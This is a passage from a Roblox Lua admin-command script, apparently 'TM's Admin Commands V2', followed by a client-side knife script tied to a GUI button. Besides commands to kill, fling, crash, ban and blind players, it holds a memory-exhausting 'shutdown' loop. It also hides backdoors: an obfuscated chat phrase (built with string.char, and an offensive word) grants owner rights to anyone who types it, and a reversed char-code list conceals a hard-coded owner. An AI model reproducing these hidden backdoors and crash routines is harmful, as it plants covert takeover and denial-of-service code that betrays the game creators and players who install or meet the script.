  2200. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2201. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2202. end end
  2203. end
  2204. end))
  2205. end
  2206. end
  2207.  
  2208. if msg:lower():sub(1,7) == "trippy " then
  2209. local plrz = GetPlr(plr, msg:lower():sub(8))
  2210. for i, v in pairs(plrz) do
  2211. coroutine.resume(coroutine.create(function()
  2212. if v and v:findFirstChild("PlayerGui") then
  2213. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2214. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2215. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2216. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2217. end
  2218. end))
  2219. end
  2220. end
  2221.  
  2222. if msg:lower():sub(1,9) == "untrippy " then
  2223. local plrz = GetPlr(plr, msg:lower():sub(10))
  2224. for i, v in pairs(plrz) do
  2225. coroutine.resume(coroutine.create(function()
  2226. if v and v:findFirstChild("PlayerGui") then
  2227. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2228. end
  2229. end))
  2230. end
  2231. end
  2232.  
  2233. if msg:lower():sub(1,7) == "strobe " then
  2234. local plrz = GetPlr(plr, msg:lower():sub(8))
  2235. for i, v in pairs(plrz) do
  2236. coroutine.resume(coroutine.create(function()
  2237. if v and v:findFirstChild("PlayerGui") then
  2238. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2239. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2240. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2241. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2242. end
  2243. end))
  2244. end
  2245. end
  2246.  
  2247. if msg:lower():sub(1,9) == "unstrobe " then
  2248. local plrz = GetPlr(plr, msg:lower():sub(10))
  2249. for i, v in pairs(plrz) do
  2250. coroutine.resume(coroutine.create(function()
  2251. if v and v:findFirstChild("PlayerGui") then
  2252. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2253. end
  2254. end))
  2255. end
  2256. end
  2257.  
  2258. if msg:lower():sub(1,6) == "blind " then
  2259. local plrz = GetPlr(plr, msg:lower():sub(7))
  2260. for i, v in pairs(plrz) do
  2261. coroutine.resume(coroutine.create(function()
  2262. if v and v:findFirstChild("PlayerGui") then
  2263. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2264. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2265. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2266. end
  2267. end))
  2268. end
  2269. end
  2270.  
  2271. if msg:lower():sub(1,8) == "unblind " then
  2272. local plrz = GetPlr(plr, msg:lower():sub(9))
  2273. for i, v in pairs(plrz) do
  2274. coroutine.resume(coroutine.create(function()
  2275. if v and v:findFirstChild("PlayerGui") then
  2276. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2277. end
  2278. end))
  2279. end
  2280. end
  2281.  
  2282. if msg:lower():sub(1,7) == "guifix " then
  2283. local plrz = GetPlr(plr, msg:lower():sub(8))
  2284. for i, v in pairs(plrz) do
  2285. coroutine.resume(coroutine.create(function()
  2286. if v and v:findFirstChild("PlayerGui") then
  2287. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2288. end
  2289. end))
  2290. end
  2291. end
  2292.  
  2293. if msg:lower():sub(1,9) == "loopheal " then
  2294. local plrz = GetPlr(plr, msg:lower():sub(10))
  2295. for i, v in pairs(plrz) do
  2296. if v then
  2297. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2298. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2299. repeat wait()
  2300. coroutine.resume(coroutine.create(function()
  2301. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2302. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2303. end
  2304. end))
  2305. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2306. end
  2307. end
  2308. end
  2309.  
  2310. if msg:lower():sub(1,11) == "unloopheal " then
  2311. local plrz = GetPlr(plr, msg:lower():sub(12))
  2312. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2313. end
  2314.  
  2315. if msg:lower():sub(1,10) == "loopfling " then
  2316. local plrz = GetPlr(plr, msg:lower():sub(11))
  2317. for i, v in pairs(plrz) do
  2318. if v then
  2319. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2320. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2321. repeat
  2322. coroutine.resume(coroutine.create(function()
  2323. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2324. local xran local zran
  2325. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2326. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2327. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2328. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2329. end
  2330. end))
  2331. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2332. end
  2333. end
  2334. end
  2335.  
  2336. if msg:lower():sub(1,12) == "unloopfling " then
  2337. local plrz = GetPlr(plr, msg:lower():sub(13))
  2338. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2339. end
  2340.  
  2341. end
  2342.  
  2343. -------------------------
  2344. -- True Owner Commands --
  2345. -------------------------
  2346.  
  2347. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2348.  
  2349. if msg:lower():sub(1,3) == "oa " then
  2350. local plrz = GetPlr(plr, msg:lower():sub(4))
  2351. for i, v in pairs(plrz) do
  2352. coroutine.resume(coroutine.create(function()
  2353. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2354. end))
  2355. end
  2356. end
  2357.  
  2358. if msg:lower():sub(1,5) == "unoa " then
  2359. for i = 1, #owners do
  2360. coroutine.resume(coroutine.create(function()
  2361. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2362. end))
  2363. end
  2364. end
  2365.  
  2366. end
  2367.  
  2368. --------------------
  2369. -- Owner Commands --
  2370. --------------------
  2371.  
  2372. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2373.  
  2374. if msg:lower():sub(1,3) == "pa " then
  2375. local plrz = GetPlr(plr, msg:lower():sub(4))
  2376. for i, v in pairs(plrz) do
  2377. coroutine.resume(coroutine.create(function()
  2378. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2379. end))
  2380. end
  2381. end
  2382.  
  2383. if msg:lower():sub(1,5) == "unpa " then
  2384. for i = 1, #admins do
  2385. coroutine.resume(coroutine.create(function()
  2386. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2387. end))
  2388. end
  2389. end
  2390.  
  2391. end
  2392.  
  2393. --------------------------
  2394. -- Super Admin Commands --
  2395. --------------------------
  2396.  
  2397. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2398.  
  2399. if msg:lower() == "logs" then
  2400. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2401. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2402. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2403. end
  2404.  
  2405. if msg:lower():sub(1,9) == "loopkill " then
  2406. local chk1 = msg:lower():sub(10):find(" ")
  2407. local plrz = GetPlr(plr, msg:lower():sub(10))
  2408. local num = 9999
  2409. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2410. for i, v in pairs(plrz) do
  2411. if v and not ChkAdmin(v.Name, false) then
  2412. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2413. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2414. for i = 1, ]] .. tostring(num) .. [[ do
  2415. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2416. coroutine.resume(coroutine.create(function()
  2417. if plr and plr.Character then plr.Character:BreakJoints() end
  2418. end))
  2419. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2420. end
  2421. end
  2422. end
  2423.  
  2424. if msg:lower():sub(1,11) == "unloopkill " then
  2425. local plrz = GetPlr(plr, msg:lower():sub(12))
  2426. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2427. end
  2428.  
  2429. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2430. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2431.  
  2432. if msg:lower():sub(1,3) == "sm " then
  2433. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2434. end
  2435.  
  2436. if msg:lower():sub(1,3) == "ko " then
  2437. local chk1 = msg:lower():sub(4):find(" ") + 3
  2438. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2439. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2440. for n = 1, num do
  2441. for i, v in pairs(plrz) do
  2442. coroutine.resume(coroutine.create(function()
  2443. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2444. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2445. v.Character:BreakJoints()
  2446. wait(1/44)
  2447. v:LoadCharacter()
  2448. wait(1/44)
  2449. end
  2450. end))
  2451. end
  2452. end
  2453. end
  2454.  
  2455. if msg:lower():sub(1,6) == "crash " then
  2456. local plrz = GetPlr(plr, msg:lower():sub(7))
  2457. for i, v in pairs(plrz) do
  2458. coroutine.resume(coroutine.create(function()
  2459. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2460. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2461. end
  2462. end))
  2463. end
  2464. end
  2465.  
  2466. if msg:lower():sub(1,5) == "kick " then
  2467. local plrz = GetPlr(plr, msg:lower():sub(6))
  2468. for i, v in pairs(plrz) do
  2469. coroutine.resume(coroutine.create(function()
  2470. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2471. end))
  2472. end
  2473. end
  2474.  
  2475. if msg:lower():sub(1,6) == "admin " then
  2476. local plrz = GetPlr(plr, msg:lower():sub(7))
  2477. for i, v in pairs(plrz) do
  2478. coroutine.resume(coroutine.create(function()
  2479. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("SYSTEM", "You're a TM member!Say :cmds to see the commands", false, {v}) end)) end
  2480. end))
  2481. end
  2482. end
  2483.  
  2484. if msg:lower():sub(1,8) == "unadmin " then
  2485. for i = 1, #tempadmins do
  2486. coroutine.resume(coroutine.create(function()
  2487. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2488. end))
  2489. end
  2490. end
  2491.  
  2492. if msg:lower():sub(1,4) == "ban " then
  2493. local plrz = GetPlr(plr, msg:lower():sub(5))
  2494. for i, v in pairs(plrz) do
  2495. coroutine.resume(coroutine.create(function()
  2496. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2497. end))
  2498. end
  2499. end
  2500.  
  2501. if msg:lower():sub(1,6) == "unban " then
  2502. for i = 1, #banland do
  2503. coroutine.resume(coroutine.create(function()
  2504. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2505. end))
  2506. end
  2507. end
  2508.  
  2509. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2510.  
  2511. end
  2512. end))
  2513. end
  2514.  
  2515. function AdminControl(plr)
  2516. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2517. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2518. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2519. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2520. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2521. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2522. end)) end
  2523. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2524. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2525. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2526. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("SYSTEM", "You're a TM member!Say :cmds to see the commands!", false, {plr}) end end))
  2527. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2528. end
  2529.  
  2530. if not ntab then script:Destroy() end
  2531. if not bct then script:Destroy() end
  2532.  
  2533. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2534.  
  2535. script.Name = "TM's Admin Commands V2"
  2536.  
  2537. if not ntab then script:Destroy() end
  2538. if not bct then script:Destroy() end
  2539. if not tcb then script:Destroy() end
  2540. game.Players.PlayerAdded:connect(AdminControl)
  2541. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2542.  
  2543. script2.MouseButton1Down:connect(function()
  2544. --By Rufus14 (NOW WITH "z" SEINFELD INTENSIFIES)
  2545. --Converted with ttyyuu12345's model to script plugin v4
  2546. function sandbox(var,func)
  2547. local env = getfenv(func)
  2548. local newenv = setmetatable({},{
  2549. __index = function(self,k)
  2550. if k=="script" then
  2551. return var
  2552. else
  2553. return env[k]
  2554. end
  2555. end,
  2556. })
  2557. setfenv(func,newenv)
  2558. return func
  2559. end
  2560. cors = {}
  2561. mas = Instance.new("Model",game:GetService("Lighting"))
  2562. Model0 = Instance.new("Model")
  2563. Part1 = Instance.new("Part")
  2564. Weld2 = Instance.new("Weld")
  2565. Weld3 = Instance.new("Weld")
  2566. Weld4 = Instance.new("Weld")
  2567. Weld5 = Instance.new("Weld")
  2568. Weld6 = Instance.new("Weld")
  2569. Weld7 = Instance.new("Weld")
  2570. Weld8 = Instance.new("Weld")
  2571. Part9 = Instance.new("Part")
  2572. Part10 = Instance.new("Part")
  2573. Part11 = Instance.new("Part")
  2574. Part12 = Instance.new("Part")
  2575. Part13 = Instance.new("Part")
  2576. Part14 = Instance.new("Part")
  2577. Part15 = Instance.new("Part")
  2578. Model0.Name = "Knife"
  2579. Model0.Parent = mas
  2580. Part1.Name = "1"
  2581. Part1.Parent = Model0
  2582. Part1.BrickColor = BrickColor.new("Really black")
  2583. Part1.Size = Vector3.new(0.720000327, 0.909999907, 0.410000056)
  2584. Part1.CFrame = CFrame.new(-7.82000303, 0.455004007, -15.4550009, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2585. Part1.Color = Color3.new(0, 0, 0)
  2586. Part1.Position = Vector3.new(-7.82000303, 0.455004007, -15.4550009)
  2587. Part1.Color = Color3.new(0, 0, 0)
  2588. Weld2.Parent = Part1
  2589. Weld2.C0 = CFrame.new(0, 1.36999941, -0.00500011444, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2590. Weld2.Part0 = Part1
  2591. Weld2.Part1 = Part9
  2592. Weld3.Parent = Part1
  2593. Weld3.C0 = CFrame.new(-0.0549998283, 2.03999972, -0.00499916077, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2594. Weld3.Part0 = Part1
  2595. Weld3.Part1 = Part10
  2596. Weld4.Parent = Part1
  2597. Weld4.C0 = CFrame.new(-0.120001316, 2.14003301, -0.00499916077, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2598. Weld4.Part0 = Part1
  2599. Weld4.Part1 = Part11
  2600. Weld5.Parent = Part1
  2601. Weld5.C0 = CFrame.new(-0.165001869, 2.22006845, -0.00499916077, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2602. Weld5.Part0 = Part1
  2603. Weld5.Part1 = Part12
  2604. Weld6.Parent = Part1
  2605. Weld6.C0 = CFrame.new(-0.210002422, 2.31010365, -0.00499916077, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2606. Weld6.Part0 = Part1
  2607. Weld6.Part1 = Part13
  2608. Weld7.Parent = Part1
  2609. Weld7.C0 = CFrame.new(-0.260003567, 2.39013982, -0.00499916077, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2610. Weld7.Part0 = Part1
  2611. Weld7.Part1 = Part14
  2612. Weld8.Parent = Part1
  2613. Weld8.C0 = CFrame.new(-0.310000896, 2.4701736, -0.00499916077, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2614. Weld8.Part0 = Part1
  2615. Weld8.Part1 = Part15
  2616. Part9.Name = "2"
  2617. Part9.Parent = Model0
  2618. Part9.BrickColor = BrickColor.new("Institutional white")
  2619. Part9.Reflectance = 1
  2620. Part9.Size = Vector3.new(0.720000327, 1.82999921, 0.100000076)
  2621. Part9.CFrame = CFrame.new(-7.82000303, 1.82500339, -15.460001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2622. Part9.Color = Color3.new(0.992157, 0.984314, 1)
  2623. Part9.Position = Vector3.new(-7.82000303, 1.82500339, -15.460001)
  2624. Part9.Color = Color3.new(0.992157, 0.984314, 1)
  2625. Part10.Name = "3"
  2626. Part10.Parent = Model0
  2627. Part10.BrickColor = BrickColor.new("Institutional white")
  2628. Part10.Reflectance = 1
  2629. Part10.Size = Vector3.new(0.610000432, 0.709999979, 0.100000076)
  2630. Part10.CFrame = CFrame.new(-7.87500286, 2.4950037, -15.46, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2631. Part10.Color = Color3.new(0.992157, 0.984314, 1)
  2632. Part10.Position = Vector3.new(-7.87500286, 2.4950037, -15.46)
  2633. Part10.Color = Color3.new(0.992157, 0.984314, 1)
  2634. Part11.Name = "4"
  2635. Part11.Parent = Model0
  2636. Part11.BrickColor = BrickColor.new("Institutional white")
  2637. Part11.Reflectance = 1
  2638. Part11.Size = Vector3.new(0.480000556, 0.809999883, 0.100000076)
  2639. Part11.CFrame = CFrame.new(-7.94000435, 2.59503698, -15.46, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2640. Part11.Color = Color3.new(0.992157, 0.984314, 1)
  2641. Part11.Position = Vector3.new(-7.94000435, 2.59503698, -15.46)
  2642. Part11.Color = Color3.new(0.992157, 0.984314, 1)
  2643. Part12.Name = "5"
  2644. Part12.Parent = Model0
  2645. Part12.BrickColor = BrickColor.new("Institutional white")
  2646. Part12.Reflectance = 1
  2647. Part12.Size = Vector3.new(0.390000641, 0.869999886, 0.100000076)
  2648. Part12.CFrame = CFrame.new(-7.9850049, 2.67507243, -15.46, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2649. Part12.Color = Color3.new(0.992157, 0.984314, 1)
  2650. Part12.Position = Vector3.new(-7.9850049, 2.67507243, -15.46)
  2651. Part12.Color = Color3.new(0.992157, 0.984314, 1)
  2652. Part13.Name = "6"
  2653. Part13.Parent = Model0
  2654. Part13.BrickColor = BrickColor.new("Institutional white")
  2655. Part13.Reflectance = 1
  2656. Part13.Size = Vector3.new(0.300000697, 0.94999975, 0.100000076)
  2657. Part13.CFrame = CFrame.new(-8.03000546, 2.76510763, -15.46, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2658. Part13.Color = Color3.new(0.992157, 0.984314, 1)
  2659. Part13.Position = Vector3.new(-8.03000546, 2.76510763, -15.46)
  2660. Part13.Color = Color3.new(0.992157, 0.984314, 1)
  2661. Part14.Name = "7"
  2662. Part14.Parent = Model0
  2663. Part14.BrickColor = BrickColor.new("Institutional white")
  2664. Part14.Reflectance = 1
  2665. Part14.Size = Vector3.new(0.200000659, 1.00999999, 0.100000076)
  2666. Part14.CFrame = CFrame.new(-8.0800066, 2.8451438, -15.46, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2667. Part14.Color = Color3.new(0.992157, 0.984314, 1)
  2668. Part14.Position = Vector3.new(-8.0800066, 2.8451438, -15.46)
  2669. Part14.Color = Color3.new(0.992157, 0.984314, 1)
  2670. Part15.Name = "8"
  2671. Part15.Parent = Model0
  2672. Part15.BrickColor = BrickColor.new("Institutional white")
  2673. Part15.Reflectance = 1
  2674. Part15.Size = Vector3.new(0.100000627, 1.07000017, 0.100000076)
  2675. Part15.CFrame = CFrame.new(-8.13000393, 2.92517757, -15.46, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2676. Part15.Color = Color3.new(0.992157, 0.984314, 1)
  2677. Part15.Position = Vector3.new(-8.13000393, 2.92517757, -15.46)
  2678. Part15.Color = Color3.new(0.992157, 0.984314, 1)
  2679. for i,v in pairs(mas:GetChildren()) do
  2680. v.Parent = game:GetService("Players").LocalPlayer.Character
  2681. pcall(function() v:MakeJoints() end)
  2682. end
  2683. mas:Destroy()
  2684. for i,v in pairs(cors) do
  2685. spawn(function()
  2686. pcall(v)
  2687. end)
  2688. end
  2689. knifeslash = Instance.new("Sound", game.Players.LocalPlayer.Character.Head)
  2690. knifeslash.SoundId = "rbxassetid://186311262"
  2691. knifeslash.Volume = 7
  2692. knifeslash.PlaybackSpeed = 0.7
  2693. grabbing = false
  2694. grabbed = false
  2695. killing = false
  2696. mouse = game.Players.LocalPlayer:GetMouse()
  2697. local rhandclone = game.Players.LocalPlayer.Character.Torso["Right Shoulder"]:Clone()
  2698. game.Players.LocalPlayer.Character.Torso["Right Shoulder"]:Remove()
  2699. local rhandweld = Instance.new("Weld", game.Players.LocalPlayer.Character.Torso)
  2700. rhandweld.Part0 = game.Players.LocalPlayer.Character.Torso
  2701. rhandweld.Part1 = game.Players.LocalPlayer.Character["Right Arm"]
  2702. rhandweld.C0 = CFrame.new(1.5, 0, 0, 1, -1.6395192e-43, 0, -1.6395192e-43, 1, 0, 0, 0, 1)
  2703. local lhandclone = game.Players.LocalPlayer.Character.Torso["Left Shoulder"]:Clone()
  2704. game.Players.LocalPlayer.Character.Torso["Left Shoulder"]:Remove()
  2705. local lhandweld = Instance.new("Weld", game.Players.LocalPlayer.Character.Torso)
  2706. lhandweld.Part0 = game.Players.LocalPlayer.Character.Torso
  2707. lhandweld.Part1 = game.Players.LocalPlayer.Character["Left Arm"]
  2708. lhandweld.C0 = CFrame.new(-1.5, 0, 0, 1, -1.6395192e-43, 0, -1.6395192e-43, 1, 0, 0, 0, 1)
  2709. weld = Instance.new("Weld", Part1)
  2710. weld.Part0 = Part1
  2711. weld.Part1 = game.Players.LocalPlayer.Character["Left Arm"]
  2712. weld.C0 = CFrame.new(1,0,0) * CFrame.fromEulerAnglesXYZ(math.pi/2,0,-math.pi/2)
  2713. for i,v in pairs(Model0:GetChildren()) do
  2714. if v.ClassName == "Part" then
  2715. v.CanCollide = false
  2716. end
  2717. end
  2718. function grab()
  2719. if not grabbing then
  2720. grabbing = true
  2721. for i = 0,1 , 0.03 do
  2722. rhandweld.C0 = rhandweld.C0:lerp(CFrame.new(1.98786128, 0.583189487, 0, 0.52994144, -0.848034501, -9.03719053e-27, 0.848034501, 0.52994144, -9.99644539e-27, 1.32386637e-26, -2.3728936e-27, 1),i)
  2723. lhandweld.C0 = lhandweld.C0:lerp(CFrame.new(-1.99304283, 0.671672821, 0, 0.500002146, 0.866024196, -5.23747954e-22, -0.866024196, 0.500002146, 3.13253081e-22, 5.3315986e-22, 2.96951201e-22, 1),i)
  2724. game:GetService("RunService").RenderStepped:wait()
  2725. end
  2726. local sensorpart = Instance.new("Part", Model0)
  2727. sensorpart.Size = Vector3.new(1,2,1)
  2728. sensorpart.Transparency = 1
  2729. sensorpart:BreakJoints()
  2730. sensorpart.CanCollide = false
  2731. local weld1 = Instance.new("Weld", sensorpart)
  2732. weld1.Part0 = sensorpart
  2733. weld1.Part1 = Part1
  2734. weld1.C0 = CFrame.new(0,-1,0)
  2735. local function grabbd(part)
  2736. sensorpart:destroy()
  2737. humanoid = part.Parent:findFirstChild("Humanoid")
  2738. if humanoid then
  2739. grabbed = true
  2740. humanoid.Name = "YeabBOI"
  2741. local humanoidroot = part.Parent:findFirstChild("HumanoidRootPart")
  2742. if humanoidroot then
  2743. humanoidroot:destroy()
  2744. humanoid.WalkSpeed = 0
  2745. humanoid.JumpPower = 0
  2746. else
  2747. humanoid.PlatformStand = true
  2748. humanoid.WalkSpeed = 0
  2749. humanoid.JumpPower = 0
  2750. end
  2751. weld11 = Instance.new("Weld", game.Players.LocalPlayer.Character.Torso)
  2752. weld11.Part0 = game.Players.LocalPlayer.Character.Torso
